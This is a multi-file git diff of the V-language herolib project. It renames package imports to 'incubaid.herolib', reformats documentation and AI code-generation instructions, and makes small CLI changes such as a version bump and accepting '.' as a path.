there is no defaults for empty strings or 0 ints, … defaults are only for non empty stuff
</meta prompt 2>
<user_instructions>
$NAME = finance
@@ -2472,6 +2519,4 @@ at top of each file we have ```module $NAME```
don't create management classes, only output the structs
</user_instructions>

View File

@@ -17,16 +17,14 @@ don't do anything additional for modules, don't do import
at top of each file we have ```module $NAME```
make sure all time related fields are in u64 format, use unix timestamp for that
don't create management classes, only output the structs, don't create a mod.v, don't make .v scripts executatble, don't create a main.v
## now also make sure we use core.base as follows
```
import freeflowuniverse.herolib.hero.models.core
import incubaid.herolib.hero.models.core
// Account represents a financial account for tracking balances and transactions
// Supports multiple account types (checking, savings, investment, etc.)

View File

@@ -3,7 +3,7 @@ for governance and legal
make sure we use core.base as follows
import freeflowuniverse.herolib.hero.models.core
import incubaid.herolib.hero.models.core
// Account represents a financial account for tracking balances and transactions
// Supports multiple account types (checking, savings, investment, etc.)

View File

@@ -677,6 +677,7 @@
<file_contents>
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/helpers_tags.v
```v
module db
@@ -705,6 +706,7 @@ pub fn (mut self DB) tags_get(tags []string) !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/helpers_comments.v
```v
module db
@@ -743,13 +745,14 @@ pub fn (mut self DB) comment_get(comment string) !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/factory.v
```v
module db
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
// Current time
// import freeflowuniverse.herolib.data.encoder
// import incubaid.herolib.data.encoder
pub struct DB {
pub mut:
@@ -766,12 +769,13 @@ pub fn new() !DB {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/core_models.v
```v
module db
import crypto.md5
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.core.redisclient
import incubaid.herolib.data.ourtime
// Group represents a collection of users with roles and permissions
@[heap]
@@ -809,11 +813,12 @@ pub mut:
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/core_methods.v
```v
module db
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.data.encoder
pub fn (mut self DB) set[T](obj_ T) !u32 {
// Get the next ID
@@ -917,6 +922,7 @@ pub fn (mut self DB) new_id() !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/ai_instructions_hero_models.md
```md
# HeroDB Model Creation Instructions for AI
@@ -1051,6 +1057,7 @@ pub fn new() !ModelsFactory {
Use these methods for serialization/deserialization:
### Encoder (Serialization)
- `e.add_bool(val bool)`
- `e.add_u8(val u8)`
- `e.add_u16(val u16)`
@@ -1077,6 +1084,7 @@ Use these methods for serialization/deserialization:
- `e.add_list_string(val []string)`
### Decoder (Deserialization)
- `e.get_bool()!`
- `e.get_u8()!`
- `e.get_u16()!`
@@ -1105,6 +1113,7 @@ Use these methods for serialization/deserialization:
## CRUD Methods Implementation
### Create New Instance
```v
pub fn (mut self DBCalendar) new(args CalendarArg) !Calendar {
mut o := Calendar{
@@ -1120,6 +1129,7 @@ pub fn (mut self DBCalendar) new(args CalendarArg) !Calendar {
```
### Save to Database
```v
pub fn (mut self DBCalendar) set(o Calendar) !u32 {
return self.db.set[Calendar](o)!
@@ -1127,6 +1137,7 @@ pub fn (mut self DBCalendar) set(o Calendar) !u32 {
```
### Retrieve from Database
```v
pub fn (mut self DBCalendar) get(id u32) !Calendar {
mut o, data := self.db.get_data[Calendar](id)!
@@ -1137,6 +1148,7 @@ pub fn (mut self DBCalendar) get(id u32) !Calendar {
```
### Delete from Database
```v
pub fn (mut self DBCalendar) delete(id u32) ! {
self.db.delete[Calendar](id)!
@@ -1144,6 +1156,7 @@ pub fn (mut self DBCalendar) delete(id u32) ! {
```
### Check Existence
```v
pub fn (mut self DBCalendar) exist(id u32) !bool {
return self.db.exists[Calendar](id)!
@@ -1151,6 +1164,7 @@ pub fn (mut self DBCalendar) exist(id u32) !bool {
```
### List All Objects
```v
pub fn (mut self DBCalendar) list() ![]Calendar {
return self.db.list[Calendar]()!.map(self.get(it)!)
@@ -1164,8 +1178,8 @@ Create a `.vsh` script in `examples/hero/heromodels/` to demonstrate usage:
```v
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.hero.heromodels
import incubaid.herolib.core.redisclient
import incubaid.herolib.hero.heromodels
mut mydb := heromodels.new()!
@@ -1214,14 +1228,15 @@ println('All objects: ${objects}')
8. Implement CRUD methods
9. Create example usage script
10. Test the implementation with the example script
```
File: /Users/despiegk/code/github/incubaid/herolib/examples/hero/herofs/herofs_advanced.vsh
```vsh
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.hero.herofs
import incubaid.herolib.core.redisclient
import incubaid.herolib.hero.herofs
import time
import os
@@ -1527,11 +1542,12 @@ fn main() {
```
File: /Users/despiegk/code/github/incubaid/herolib/examples/hero/herofs/herofs_basic.vsh
```vsh
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.hero.herofs
import incubaid.herolib.core.redisclient
import incubaid.herolib.hero.herofs
// Basic example of using HeroFS - the Hero Filesystem
// Demonstrates creating a filesystem, directories, and files
@@ -1641,10 +1657,11 @@ fn main() {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/factory.v
```v
module herofs
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.hero.db
pub struct FsFactory {
pub mut:
@@ -1679,14 +1696,15 @@ pub fn new() !FsFactory {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/fs_blob.v
```v
module herofs
import time
import crypto.blake3
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// FsBlob represents binary data up to 1MB
@[heap]
@@ -1836,15 +1854,16 @@ pub fn (blob FsBlob) verify_integrity() bool {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/fs_dir.v
```v
module herofs
import time
import crypto.blake3
import json
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// FsDir represents a directory in a filesystem
@[heap]
@@ -2320,15 +2339,16 @@ pub fn (mut self DBFsDir) list_contents(fs_factory &FsFactory, dir_id u32, opts
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/fs_file.v
```v
module herofs
import time
import crypto.blake3
import json
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// FsFile represents a file in a filesystem
@[heap]
@@ -2694,15 +2714,16 @@ pub fn (mut self DBFsFile) move(id u32, new_directories []u32) !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/fs_symlink.v
```v
module herofs
import time
import crypto.blake3
import json
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// FsSymlink represents a symbolic link in a filesystem
@[heap]
@@ -2989,15 +3010,16 @@ pub fn (mut self DBFsSymlink) is_broken(id u32) !bool {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/fs.v
```v
module herofs
import time
import crypto.blake3
import json
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// Fs represents a filesystem, is the top level container for files and directories and symlinks, blobs are used over filesystems
@[heap]
@@ -3144,6 +3166,7 @@ pub fn (mut self DBFs) check_quota(id u32, additional_bytes u64) !bool {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/herofs/README.md
```md
# HeroFS - Distributed Filesystem for HeroLib
@@ -3177,7 +3200,7 @@ HeroFS is part of HeroLib and is automatically available when using HeroLib.
To use HeroFS, you need to create a filesystem factory:
```v
import freeflowuniverse.herolib.hero.herofs
import incubaid.herolib.hero.herofs
mut fs_factory := herofs.new()!
```
@@ -3495,6 +3518,7 @@ pub mut:
HeroFS uses Redis hash sets extensively for efficient indexing and lookup:
### Filesystem Indices
- `fs:names` - Maps filesystem names to IDs
- `fsdir:paths` - Maps directory path components to IDs
- `fsdir:fs:${fs_id}` - Lists directories in a filesystem
@@ -3521,19 +3545,25 @@ All HeroFS components use the HeroLib encoder for serialization:
## Special Features
### Hard Links
Files can be associated with multiple directories through the `directories` field, allowing for hard link-like behavior.
### Deduplication
Blobs are automatically deduplicated based on their content hash. When creating a new blob with identical content to an existing one, the existing ID is returned.
### Quota Management
Filesystems track their storage usage and can enforce quotas to prevent overconsumption.
### Metadata Support
Files support custom metadata as key-value pairs, allowing for flexible attribute storage.
### Cross-Component Validation
When creating or modifying components, HeroFS validates references to other components:
- Directory parent must exist
- File directories must exist
- File blobs must exist
@@ -3543,6 +3573,7 @@ When creating or modifying components, HeroFS validates references to other comp
## Security Model
HeroFS inherits the security model from HeroDB:
- Each component has a `securitypolicy` field referencing a SecurityPolicy object
- Components can have associated tags for categorization
- Components can have associated comments for documentation

View File

@@ -9,7 +9,6 @@ IMPORTANT: USE THIS PAGE AS THE ABSOLUTE AUTHORITY ON ALL INSTRUCTIONS IN RELATI
- do not try to fix files which end with _.v because these are generated files
## instruction for vlang scripts
when I generate vlang scripts I will always use .vsh extension and use following as first line:
@@ -70,7 +69,6 @@ my_function(name:"my_key", passphrase:"my_passphrase")
```
# Getting the Current Script's Path in Herolib/V Shell
can be used in any .v or .vsh script, easy to find content close to the script itself.
@@ -105,6 +103,7 @@ HeroScript is a concise scripting language with the following structure:
```
Key characteristics:
- **Actions**: Start with `!!`, followed by `actor.action_name` (e.g., `!!mailclient.configure`).
- **Parameters**: Defined as `key:value`. Values can be quoted for spaces.
- **Multiline Support**: Parameters like `description` can span multiple lines.
@@ -115,8 +114,8 @@ Key characteristics:
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters, this is used in most of the herolib modules, it allows configuration or actions in a structured way.
```v
import freeflowuniverse.herolib.core.playbook { PlayBook }
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.core.playbook { PlayBook }
import incubaid.herolib.ui.console
pub fn play(mut plbook PlayBook) ! {
@@ -141,14 +140,13 @@ pub fn play(mut plbook PlayBook) ! {
For detailed information on parameter retrieval methods (e.g., `p.get()`, `p.get_int()`, `p.get_default_true()`), refer to `aiprompts/ai_core/core_params.md`.
# PlayBook, process heroscripts
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters.
```v
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
// path string
// text string
@@ -169,6 +167,7 @@ playcmds.run(mut plbook)!
The `HTTPConnection` module provides a robust HTTP client for Vlang, supporting JSON, custom headers, retries, and caching.
## Key Features
- Type-safe JSON methods
- Custom headers
- Retry mechanism
@@ -178,7 +177,7 @@ The `HTTPConnection` module provides a robust HTTP client for Vlang, supporting
## Basic Usage
```v
import freeflowuniverse.herolib.core.httpconnection
import incubaid.herolib.core.httpconnection
// Create a new HTTP connection
mut conn := httpconnection.new(
@@ -274,12 +273,12 @@ user := conn.get_json_generic[User](
```
# OSAL Core Module - SYSTEM TOOLS OS - Key Capabilities (freeflowuniverse.herolib.osal.core)
# OSAL Core Module - SYSTEM TOOLS OS - Key Capabilities (incubaid.herolib.osal.core)
```v
//example how to get started
import freeflowuniverse.herolib.osal.core as osal
import incubaid.herolib.osal.core as osal
job := osal.exec(cmd: 'ls /')!
```
@@ -288,18 +287,18 @@ This document describes the core functionalities of the Operating System Abstrac
## 1. Process Execution
* **`osal.exec(cmd: Command) !Job`**: Execute a shell command.
* **Key Parameters**: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
* **Returns**: `Job` (status, output, error, exit code).
* **`osal.execute_silent(cmd string) !string`**: Execute silently, return output.
* **`osal.execute_debug(cmd string) !string`**: Execute with debug output, return output.
* **`osal.execute_stdout(cmd string) !string`**: Execute and print output to stdout, return output.
* **`osal.execute_interactive(cmd string) !`**: Execute in an interactive shell.
* **`osal.cmd_exists(cmd string) bool`**: Check if a command exists.
- **`osal.exec(cmd: Command) !Job`**: Execute a shell command.
- **Key Parameters**: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
- **Returns**: `Job` (status, output, error, exit code).
- **`osal.execute_silent(cmd string) !string`**: Execute silently, return output.
- **`osal.execute_debug(cmd string) !string`**: Execute with debug output, return output.
- **`osal.execute_stdout(cmd string) !string`**: Execute and print output to stdout, return output.
- **`osal.execute_interactive(cmd string) !`**: Execute in an interactive shell.
- **`osal.cmd_exists(cmd string) bool`**: Check if a command exists.
## 2. Network Utilities
* **`osal.ping(args: PingArgs) !bool`**: Check host reachability.
- **`osal.ping(args: PingArgs) !bool`**: Check host reachability.
- address string = "8.8.8.8"
- nr_ping u16 = 3 // amount of ping requests we will do
- nr_ok u16 = 3 //how many of them need to be ok
@@ -308,55 +307,76 @@ This document describes the core functionalities of the Operating System Abstrac
## 3. File System Operations
* **`osal.file_write(path string, text string) !`**: Write text to a file.
* **`osal.file_read(path string) !string`**: Read content from a file.
* **`osal.dir_ensure(path string) !`**: Ensure a directory exists.
* **`osal.rm(todelete string) !`**: Remove files/directories.
- **`osal.file_write(path string, text string) !`**: Write text to a file.
- **`osal.file_read(path string) !string`**: Read content from a file.
- **`osal.dir_ensure(path string) !`**: Ensure a directory exists.
- **`osal.rm(todelete string) !`**: Remove files/directories.
## 4. Environment Variables
* **`osal.env_set(args: EnvSet)`**: Set an environment variable.
* **Key Parameters**: `key` (string), `value` (string).
* **`osal.env_unset(key string)`**: Unset a specific environment variable.
* **`osal.env_unset_all()`**: Unset all environment variables.
* **`osal.env_set_all(args: EnvSetAll)`**: Set multiple environment variables.
* **Key Parameters**: `env` (map[string]string), `clear_before_set` (bool), `overwrite_if_exists` (bool).
* **`osal.env_get(key string) !string`**: Get an environment variable's value.
* **`osal.env_exists(key string) !bool`**: Check if an environment variable exists.
* **`osal.env_get_default(key string, def string) string`**: Get an environment variable or a default value.
* **`osal.load_env_file(file_path string) !`**: Load variables from a file.
- **`osal.env_set(args: EnvSet)`**: Set an environment variable.
- **Key Parameters**: `key` (string), `value` (string).
- **`osal.env_unset(key string)`**: Unset a specific environment variable.
- **`osal.env_unset_all()`**: Unset all environment variables.
- **`osal.env_set_all(args: EnvSetAll)`**: Set multiple environment variables.
- **Key Parameters**: `env` (map[string]string), `clear_before_set` (bool), `overwrite_if_exists` (bool).
- **`osal.env_get(key string) !string`**: Get an environment variable's value.
- **`osal.env_exists(key string) !bool`**: Check if an environment variable exists.
- **`osal.env_get_default(key string, def string) string`**: Get an environment variable or a default value.
- **`osal.load_env_file(file_path string) !`**: Load variables from a file.
## 5. Command & Profile Management
* **`osal.cmd_add(args: CmdAddArgs) !`**: Add a binary to system paths and update profiles.
* **Key Parameters**: `source` (string, required), `cmdname` (string).
* **`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`**: Add/remove paths from profiles.
* **Key Parameters**: `paths2add` (string), `paths2delete` (string).
- **`osal.cmd_add(args: CmdAddArgs) !`**: Add a binary to system paths and update profiles.
- **Key Parameters**: `source` (string, required), `cmdname` (string).
- **`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`**: Add/remove paths from profiles.
- **Key Parameters**: `paths2add` (string), `paths2delete` (string).
## 6. System Information & Utilities
* **`osal.processmap_get() !ProcessMap`**: Get a map of all running processes.
* **`osal.processinfo_get(pid int) !ProcessInfo`**: Get detailed information for a specific process.
* **`osal.processinfo_get_byname(name string) ![]ProcessInfo`**: Get info for processes matching a name.
* **`osal.process_exists(pid int) bool`**: Check if a process exists by PID.
* **`osal.processinfo_with_children(pid int) !ProcessMap`**: Get a process and its children.
* **`osal.processinfo_children(pid int) !ProcessMap`**: Get children of a process.
* **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
* **Key Parameters**: `name` (string), `pid` (int).
* **`osal.whoami() !string`**: Return the current username.
* **`osal.platform() !PlatformType`**: Identify the operating system.
* **`osal.cputype() !CPUType`**: Identify the CPU architecture.
* **`osal.hostname() !string`**: Get system hostname.
* **`osal.sleep(duration int)`**: Pause execution for a specified duration.
* **`osal.download(args: DownloadArgs) !pathlib.Path`**: Download a file from a URL.
* `pathlib.Path` is from `freeflowuniverse.herolib.core.pathlib`
* **Key Parameters**: `url` (string), `dest` (string), `timeout` (int), `retry` (int).
* **`osal.user_exists(username string) bool`**: Check if a user exists.
* **`osal.user_id_get(username string) !int`**: Get user ID.
* **`osal.user_add(args: UserArgs) !int`**: Add a user.
* **Key Parameters**: `name` (string).
- **`osal.processmap_get() !ProcessMap`**: Get a map of all running processes.
- **`osal.processinfo_get(pid int) !ProcessInfo`**: Get detailed information for a specific process.
- **`osal.processinfo_get_byname(name string) ![]ProcessInfo`**: Get info for processes matching a name.
- **`osal.process_exists(pid int) bool`**: Check if a process exists by PID.
- **`osal.processinfo_with_children(pid int) !ProcessMap`**: Get a process and its children.
- **`osal.processinfo_children(pid int) !ProcessMap`**: Get children of a process.
- **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
- **Key Parameters**: `name` (string), `pid` (int).
- **`osal.whoami() !string`**: Return the current username.
- **`osal.hostname() !string`**: Get system hostname.
- **`osal.sleep(duration int)`**: Pause execution for a specified duration.
- **`osal.download(args: DownloadArgs) !pathlib.Path`**: Download a file from a URL.
- `pathlib.Path` is from `incubaid.herolib.core.pathlib`
- **Key Parameters**: `url` (string), `dest` (string), `timeout` (int), `retry` (int).
- **`osal.user_exists(username string) bool`**: Check if a user exists.
- **`osal.user_id_get(username string) !int`**: Get user ID.
- **`osal.user_add(args: UserArgs) !int`**: Add a user.
- **Key Parameters**: `name` (string).
```
```
## 7. Platform Information
* **`core.platform() !PlatformType`**: Identify the operating system.
* **Returns**: Platform type (osx, ubuntu, arch, etc.)
* **`core.cputype() !CPUType`**: Identify the CPU architecture.
* **Returns**: CPU type (intel, arm, etc.)
### Usage Example
```v
import incubaid.herolib.core
platform := core.platform()! // Returns .osx, .ubuntu, etc.
cpu := core.cputype()! // Returns .intel, .arm, etc.
match platform {
.osx { println('Running on macOS') }
.ubuntu { println('Running on Ubuntu') }
.arch { println('Running on Arch Linux') }
else { println('Other platform') }
}
```
# OurTime Module
@@ -372,7 +392,7 @@ The `OurTime` module in V provides flexible time handling, supporting relative a
## Basic Usage
```v
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.data.ourtime
// Current time
mut t := ourtime.now()
@@ -460,7 +480,7 @@ This document details the `paramsparser` module, essential for handling paramete
## Obtaining a `paramsparser` Instance
```v
import freeflowuniverse.herolib.data.paramsparser
import incubaid.herolib.data.paramsparser
// Create new params from a string
params := paramsparser.new("color:red size:'large' priority:1 enable:true")!
@@ -480,6 +500,7 @@ The parser supports various input formats:
4. **Comments**: `// this is a comment` (ignored during parsing)
Example:
```v
text := "name:'John Doe' age:30 active:true // user details"
params := paramsparser.new(text)!
@@ -582,7 +603,7 @@ The pathlib module provides a comprehensive interface for handling file system o
### Importing pathlib
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
```
### Creating Path Objects
@@ -600,6 +621,7 @@ mut dir_path := pathlib.get("path/to/directory")
if you know in advance if you expect a dir or file its better to use `pathlib.get_dir(path:...,create:true)` or `pathlib.get_file(path:...,create:true)`.
### Basic Path Operations
```v
// Get absolute path
abs_path := file_path.absolute()
@@ -616,6 +638,7 @@ if file_path.exists() {
## Path Properties and Methods
### Path Types
```v
// Check if path is a file
if file_path.is_file() {
@@ -634,6 +657,7 @@ if file_path.is_link() {
```
### Path Normalization
```v
// Normalize path (remove extra slashes, resolve . and ..)
normalized_path := file_path.path_normalize()
@@ -648,6 +672,7 @@ name_no_ext := file_path.name_no_ext()
## File and Directory Operations
### File Operations
```v
// Write to file
file_path.write("Content to write")!
@@ -660,6 +685,7 @@ file_path.delete()!
```
### Directory Operations
```v
// Create directory
mut dir := pathlib.get_dir(
@@ -675,6 +701,7 @@ dir.delete()!
```
### Symlink Operations
```v
// Create symlink
file_path.link("path/to/symlink", delete_exists: true)!
@@ -686,12 +713,14 @@ real_path := file_path.realpath()
## Advanced Operations
### Path Copying
```v
// Copy file to destination
file_path.copy(dest: "path/to/destination")!
```
### Recursive Operations
```v
// List directory recursively
mut recursive_list := dir.list(recursive: true)!
@@ -701,6 +730,7 @@ dir.delete()!
```
### Path Filtering
```v
// List files matching pattern
mut filtered_list := dir.list(
@@ -712,6 +742,7 @@ mut filtered_list := dir.list(
## Best Practices
### Error Handling
```v
if file_path.exists() {
// Safe to operate
@@ -736,7 +767,7 @@ The `redisclient` module in Herolib provides a comprehensive client for interact
To get a Redis client instance, use `redisclient.core_get()`. By default, it connects to `127.0.0.1:6379`. You can specify a different address and port using the `RedisURL` struct.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
// Connect to default Redis instance (127.0.0.1:6379)
mut redis := redisclient.core_get()!
@@ -838,7 +869,7 @@ redis.expire('temp_key', 60)! // Expires in 60 seconds
The `RedisCache` struct provides a convenient way to implement caching using Redis.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
mut redis := redisclient.core_get()!
mut cache := redis.cache('my_app_cache')
@@ -867,7 +898,7 @@ cache.reset()!
The `RedisQueue` struct provides a simple queue mechanism using Redis lists.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
import time
mut redis := redisclient.core_get()!
@@ -891,7 +922,7 @@ task2 := my_queue.pop()!
The `RedisRpc` struct enables Remote Procedure Call (RPC) over Redis, allowing services to communicate by sending messages to queues and waiting for responses.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
import json
import time
@@ -930,96 +961,124 @@ response := rpc_client.call(
The `texttools` module provides a comprehensive set of utilities for text manipulation and processing.
## Functions and Examples:
## Functions and Examples
```v
import freeflowuniverse.herolib.core.texttools
import incubaid.herolib.core.texttools
assert hello_world == texttools.name_fix("Hello World!")
```
### Name/Path Processing
* `name_fix(name string) string`: Normalizes filenames and paths.
* `name_fix_keepspace(name string) !string`: Like name_fix but preserves spaces.
* `name_fix_no_ext(name_ string) string`: Removes file extension.
* `name_fix_snake_to_pascal(name string) string`: Converts snake_case to PascalCase.
- `name_fix_keepspace(name string) !string`: Like name_fix but preserves spaces.
- `name_fix_no_ext(name_ string) string`: Removes file extension.
- `name_fix_snake_to_pascal(name string) string`: Converts snake_case to PascalCase.
```v
name := texttools.name_fix_snake_to_pascal("hello_world") // Result: "HelloWorld"
```
* `snake_case(name string) string`: Converts PascalCase to snake_case.
```v
name := texttools.snake_case("HelloWorld") // Result: "hello_world"
```
* `name_split(name string) !(string, string)`: Splits name into site and page components.
### Text Cleaning
* `name_clean(r string) string`: Normalizes names by removing special characters.
```v
name := texttools.name_clean("Hello/@World!") // Result: "HelloWorld"
```
* `ascii_clean(r string) string`: Removes all non-ASCII characters.
* `remove_empty_lines(text string) string`: Removes empty lines from text.
- `remove_empty_lines(text string) string`: Removes empty lines from text.
```v
text := texttools.remove_empty_lines("line1\n\nline2\n\n\nline3") // Result: "line1\nline2\nline3"
```
* `remove_double_lines(text string) string`: Removes consecutive empty lines.
* `remove_empty_js_blocks(text string) string`: Removes empty code blocks (```...```).
- `remove_empty_js_blocks(text string) string`: Removes empty code blocks (```...```).
### Command Line Parsing
* `cmd_line_args_parser(text string) ![]string`: Parses command line arguments with support for quotes and escaping.
```v
args := texttools.cmd_line_args_parser("'arg with spaces' --flag=value") // Result: ['arg with spaces', '--flag=value']
```
* `text_remove_quotes(text string) string`: Removes quoted sections from text.
* `check_exists_outside_quotes(text string, items []string) bool`: Checks if items exist in text outside of quotes.
- `check_exists_outside_quotes(text string, items []string) bool`: Checks if items exist in text outside of quotes.
### Text Expansion
* `expand(txt_ string, l int, expand_with string) string`: Expands text to a specified length with a given character.
### Indentation
* `indent(text string, prefix string) string`: Adds indentation prefix to each line.
```v
text := texttools.indent("line1\nline2", " ") // Result: " line1\n line2\n"
```
* `dedent(text string) string`: Removes common leading whitespace from every line.
```v
text := texttools.dedent(" line1\n line2") // Result: "line1\nline2"
```
### String Validation
* `is_int(text string) bool`: Checks if text contains only digits.
* `is_upper_text(text string) bool`: Checks if text contains only uppercase letters.
- `is_upper_text(text string) bool`: Checks if text contains only uppercase letters.
### Multiline Processing
* `multiline_to_single(text string) !string`: Converts multiline text to a single line with proper escaping.
### Text Splitting
* `split_smart(t string, delimiter_ string) []string`: Intelligent string splitting that respects quotes.
### Tokenization
* `tokenize(text_ string) TokenizerResult`: Tokenizes text into meaningful parts.
* `text_token_replace(text string, tofind string, replacewith string) !string`: Replaces tokens in text.
- `text_token_replace(text string, tofind string, replacewith string) !string`: Replaces tokens in text.
### Version Parsing
* `version(text_ string) int`: Converts version strings to comparable integers.
```v
ver := texttools.version("v0.4.36") // Result: 4036
ver = texttools.version("v1.4.36") // Result: 1004036
```
### Formatting
* `format_rfc1123(t time.Time) string`: Formats a time.Time object into RFC 1123 format.
### Array Operations
* `to_array(r string) []string`: Converts a comma or newline separated list to an array of strings.
```v
text := "item1,item2,item3"
array := texttools.to_array(text) // Result: ['item1', 'item2', 'item3']
```
* `to_array_int(r string) []int`: Converts a text list to an array of integers.
* `to_map(mapstring string, line string, delimiter_ string) map[string]string`: Intelligent mapping of a line to a map based on a template.
- `to_map(mapstring string, line string, delimiter_ string) map[string]string`: Intelligent mapping of a line to a map based on a template.
```v
r := texttools.to_map("name,-,-,-,-,pid,-,-,-,-,path",
"root 304 0.0 0.0 408185328 1360 ?? S 16Dec23 0:34.06 /usr/sbin/distnoted")
@@ -1035,7 +1094,7 @@ has mechanisms to print better to console, see the methods below
import as
```v
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.ui.console
```
@@ -1236,7 +1295,7 @@ this is how we want example scripts to be, see the first line, always use like t
```v
#!/usr/bin/env -S v -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib...
import incubaid.herolib...
```
@@ -1248,7 +1307,6 @@ the files are in ~/code/github/incubaid/herolib/examples for herolib
- always use the top line as in example above
- these scripts can be executed as is but can also use vrun $pathOfFile
# V TEMPLATES
V allows for easily using text templates, expanded at compile time to
@@ -1371,7 +1429,7 @@ The include directive is for including other html files (which will be processed
and consists of two parts, the `/@include` tag and a following `'<path>'` string.
The path parameter is relative to the template file being called.
### Example for the folder structure of a project using templates:
### Example for the folder structure of a project using templates
```
Project root
@@ -1391,7 +1449,6 @@ Project root
> Note that there shouldn't be a file suffix,
> it is automatically appended and only allows `html` files.
## js
The js directive consists of two parts, the `/@js` tag and `'<path>'` string,
@@ -1401,7 +1458,7 @@ where you can insert your src
/@js '<url>'
```
### Example for the /@js directive:
### Example for the /@js directive
```html
/@js 'myscripts.js'

View File

@@ -64,9 +64,9 @@ compile_cmd := if os.user_os() == 'macos' {
}
} else {
if prod_mode {
'v -cg -enable-globals -parallel-cc -w -n hero.v'
'v -cg -enable-globals -parallel-cc -w -n -d use_openssl hero.v'
} else {
'v -cg -enable-globals -w -n hero.v'
'v -cg -enable-globals -w -n -d use_openssl hero.v'
}
}

View File

@@ -2,14 +2,14 @@ module main
import os
import cli { Command }
import freeflowuniverse.herolib.core.herocmds
import freeflowuniverse.herolib.installers.base
import freeflowuniverse.herolib.ui.console
import freeflowuniverse.herolib.ui
import freeflowuniverse.herolib.osal.core as osal
import freeflowuniverse.herolib.core
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.core.herocmds
import incubaid.herolib.installers.base
import incubaid.herolib.ui.console
import incubaid.herolib.ui
import incubaid.herolib.osal.core as osal
import incubaid.herolib.core
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
fn playcmds_do(path string) ! {
mut plbook := playbook.new(path: path)!
@@ -38,7 +38,12 @@ fn do() ! {
if os.args.len == 2 {
mypath := os.args[1]
if mypath.to_lower().ends_with('.hero') || mypath.to_lower().ends_with('.heroscript') || mypath.to_lower().ends_with('.hs') {
if mypath == '.' {
playcmds_do(os.getwd())!
return
}
if mypath.to_lower().ends_with('.hero') || mypath.to_lower().ends_with('.heroscript')
|| mypath.to_lower().ends_with('.hs') {
// hero was called from a file
playcmds_do(mypath)!
return
@@ -48,7 +53,7 @@ fn do() ! {
mut cmd := Command{
name: 'hero'
description: 'Your HERO toolset.'
version: '1.0.33'
version: '1.0.36'
}
// herocmds.cmd_run_add_flags(mut cmd)
@@ -81,7 +86,6 @@ fn do() ! {
base.redis_install()!
herocmds.cmd_run(mut cmd)
herocmds.cmd_git(mut cmd)
herocmds.cmd_generator(mut cmd)
herocmds.cmd_docusaurus(mut cmd)
